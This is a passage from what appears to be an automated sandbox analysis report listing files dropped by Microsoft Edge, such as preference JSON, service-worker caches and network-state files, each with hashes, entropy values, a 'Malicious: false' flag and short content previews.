Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381269506320295","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3fc43.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13845
Entropy (8bit):	5.233632967998143
Encrypted:	false
SSDEEP:	192:st8J99QTryDigabatSuypbsuJsZihUk43oYw5aP82bV+FSg4Qwt66WaaFIMYOPc8:st8PGKSu4bsuJfhwPbGf4QwE6WaaTYa
MD5:	1566D3F6269CF2B7B50E3511803F0FC6
SHA1:	89580BD920B6E7523DDEAFDE0C63D534A68A95DD
SHA-256:	3C8AA069D69F509B1B2DA4E8C7A2D0F696CDF21C8C523061B29E5D0C7E087B87
SHA-512:	6AAF5E2BC458523AAE1B311E5610CDE07BFE820F013779EEADA17BF273B3CACC871957D8FC234AFA02D86D458D0BAD773CC490C6AE2C6E30AF0431872B207B91
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381269506320295","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF428b2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13845
Entropy (8bit):	5.233632967998143
Encrypted:	false
SSDEEP:	192:st8J99QTryDigabatSuypbsuJsZihUk43oYw5aP82bV+FSg4Qwt66WaaFIMYOPc8:st8PGKSu4bsuJfhwPbGf4QwE6WaaTYa
MD5:	1566D3F6269CF2B7B50E3511803F0FC6
SHA1:	89580BD920B6E7523DDEAFDE0C63D534A68A95DD
SHA-256:	3C8AA069D69F509B1B2DA4E8C7A2D0F696CDF21C8C523061B29E5D0C7E087B87
SHA-512:	6AAF5E2BC458523AAE1B311E5610CDE07BFE820F013779EEADA17BF273B3CACC871957D8FC234AFA02D86D458D0BAD773CC490C6AE2C6E30AF0431872B207B91
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381269506320295","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF48847.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13845
Entropy (8bit):	5.233632967998143
Encrypted:	false
SSDEEP:	192:st8J99QTryDigabatSuypbsuJsZihUk43oYw5aP82bV+FSg4Qwt66WaaFIMYOPc8:st8PGKSu4bsuJfhwPbGf4QwE6WaaTYa
MD5:	1566D3F6269CF2B7B50E3511803F0FC6
SHA1:	89580BD920B6E7523DDEAFDE0C63D534A68A95DD
SHA-256:	3C8AA069D69F509B1B2DA4E8C7A2D0F696CDF21C8C523061B29E5D0C7E087B87
SHA-512:	6AAF5E2BC458523AAE1B311E5610CDE07BFE820F013779EEADA17BF273B3CACC871957D8FC234AFA02D86D458D0BAD773CC490C6AE2C6E30AF0431872B207B91
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381269506320295","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF575c4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13845
Entropy (8bit):	5.233632967998143
Encrypted:	false
SSDEEP:	192:st8J99QTryDigabatSuypbsuJsZihUk43oYw5aP82bV+FSg4Qwt66WaaFIMYOPc8:st8PGKSu4bsuJfhwPbGf4QwE6WaaTYa
MD5:	1566D3F6269CF2B7B50E3511803F0FC6
SHA1:	89580BD920B6E7523DDEAFDE0C63D534A68A95DD
SHA-256:	3C8AA069D69F509B1B2DA4E8C7A2D0F696CDF21C8C523061B29E5D0C7E087B87
SHA-512:	6AAF5E2BC458523AAE1B311E5610CDE07BFE820F013779EEADA17BF273B3CACC871957D8FC234AFA02D86D458D0BAD773CC490C6AE2C6E30AF0431872B207B91
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13381269506320295","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35113
Entropy (8bit):	5.556037746647212
Encrypted:	false
SSDEEP:	768:N/ppxbWPKgfp+8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/R1aFrwkeqoqKp7tuD:N/ppxbWPKgfp+u1jae/aukeqBOtg
MD5:	238DEA7C429E7629FD0E18820D2B73ED
SHA1:	605A35627717AC30849FF8F49E2CAE875F29171C
SHA-256:	D84FDCF5648110171254B5C0ABEEE573340DB959B36F776A7FF8053B774CC1FE
SHA-512:	5D8FA23E55A6509B2328366403BE812F2A32FF72C4C3B2EC89C40FD642D46A3A8BC284E8B25B088D4D5199EB881C4B4FBE5849827A4D5A6EF4223FC563189BDA
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13381269505792784","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13381269505792784","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3e550.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35113
Entropy (8bit):	5.556037746647212
Encrypted:	false
SSDEEP:	768:N/ppxbWPKgfp+8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/R1aFrwkeqoqKp7tuD:N/ppxbWPKgfp+u1jae/aukeqBOtg
MD5:	238DEA7C429E7629FD0E18820D2B73ED
SHA1:	605A35627717AC30849FF8F49E2CAE875F29171C
SHA-256:	D84FDCF5648110171254B5C0ABEEE573340DB959B36F776A7FF8053B774CC1FE
SHA-512:	5D8FA23E55A6509B2328366403BE812F2A32FF72C4C3B2EC89C40FD642D46A3A8BC284E8B25B088D4D5199EB881C4B4FBE5849827A4D5A6EF4223FC563189BDA
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13381269505792784","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13381269505792784","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	115457
Entropy (8bit):	5.577949347167497
Encrypted:	false
SSDEEP:	1536:sU906yxPXfOxr1lhCe1nL/ImL/rBZXJCjPXNtc1Gv0WQyGi2:B9LyxPXfOxr1lMe1nL/5L/TXJ6aWxG/
MD5:	A16C6E282B6BEA64B354E1BC60BE9689
SHA1:	F4E88293190753587B910D55063012CB4B5B884C
SHA-256:	47F3E25BB805E2FF309536BEBADACFD6C7FD011FA2D327C9D56B240C49D46DBF
SHA-512:	E7BD93462A6A33AAF4B31E05FE7099342D2C2BCD3D86CED2CBE04EC46B6D36B4F4F98F70044AD4F00E28C5824C5DE50277F81204B0CD91D1B77870D757E7672E
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	190017
Entropy (8bit):	6.389525353964785
Encrypted:	false
SSDEEP:	3072:thiUtJuA85FwSNVHlmSL/kl9gxisTifs90AKIILv:oFwsHl7L/ACDTus9LJc
MD5:	105BC5539797218743647563057E4A82
SHA1:	AC745FF2DF3B3279B66A9DE79285320F9ABBE6C0
SHA-256:	E14ACB4E7DA26A0C63653B517A8AD94B2A491FA9A45B950C1846605F70BD11A3
SHA-512:	C172621E6D5B9D0BC4ECE419AB64F4E57AEDB38D0D67879FEEA1BFB43CE5C54329F433E7FE26F977129EF36474D21251454D84815CAC1470104F5869D5C88856
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;.....x..........,T.8..`,.....L`.....,T...`......L`......Rc.......exports...Rc........module....Rc&......define....RbvT:.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H........Q...Z.Bx{...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true.a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....b...,T.`.`z.....L`..........a............a.........Dr8..............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:i7f0KcFjXl/l5/lln/lxEstllR/ll2d4I+:i7YNqsqd4I+
MD5:	6CD1018A296CE2540ADE1B78F3999FC8
SHA1:	CE7C07454C65EB32C8A602687715D7F9FA9F8EF0
SHA-256:	6A836A1FE0264742C8626DC7FF18AD7482C0D94106B673B2DB48984B7EA55A72
SHA-512:	9090AE53E05C18A0FB45CBF87E0B32BACE7A981AC6935B664BF74EA90BAD9D205C7D8DFE6C4C582B549FE84A4BDC78236AE8F41F253C330438E80AFB89277EB4
Malicious:	false
Preview:	@.....z.oy retne.........................X....,...................1./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:i7f0KcFjXl/l5/lln/lxEstllR/ll2d4I+:i7YNqsqd4I+
MD5:	6CD1018A296CE2540ADE1B78F3999FC8
SHA1:	CE7C07454C65EB32C8A602687715D7F9FA9F8EF0
SHA-256:	6A836A1FE0264742C8626DC7FF18AD7482C0D94106B673B2DB48984B7EA55A72
SHA-512:	9090AE53E05C18A0FB45CBF87E0B32BACE7A981AC6935B664BF74EA90BAD9D205C7D8DFE6C4C582B549FE84A4BDC78236AE8F41F253C330438E80AFB89277EB4
Malicious:	false
Preview:	@.....z.oy retne.........................X....,...................1./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3eaee.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:i7f0KcFjXl/l5/lln/lxEstllR/ll2d4I+:i7YNqsqd4I+
MD5:	6CD1018A296CE2540ADE1B78F3999FC8
SHA1:	CE7C07454C65EB32C8A602687715D7F9FA9F8EF0
SHA-256:	6A836A1FE0264742C8626DC7FF18AD7482C0D94106B673B2DB48984B7EA55A72
SHA-512:	9090AE53E05C18A0FB45CBF87E0B32BACE7A981AC6935B664BF74EA90BAD9D205C7D8DFE6C4C582B549FE84A4BDC78236AE8F41F253C330438E80AFB89277EB4
Malicious:	false
Preview:	@.....z.oy retne.........................X....,...................1./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1ced280b-9824-466a-b8f1-b36540b3e003.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7312113d-8d1a-4703-ab21-854125b5ff07.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3d1a9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

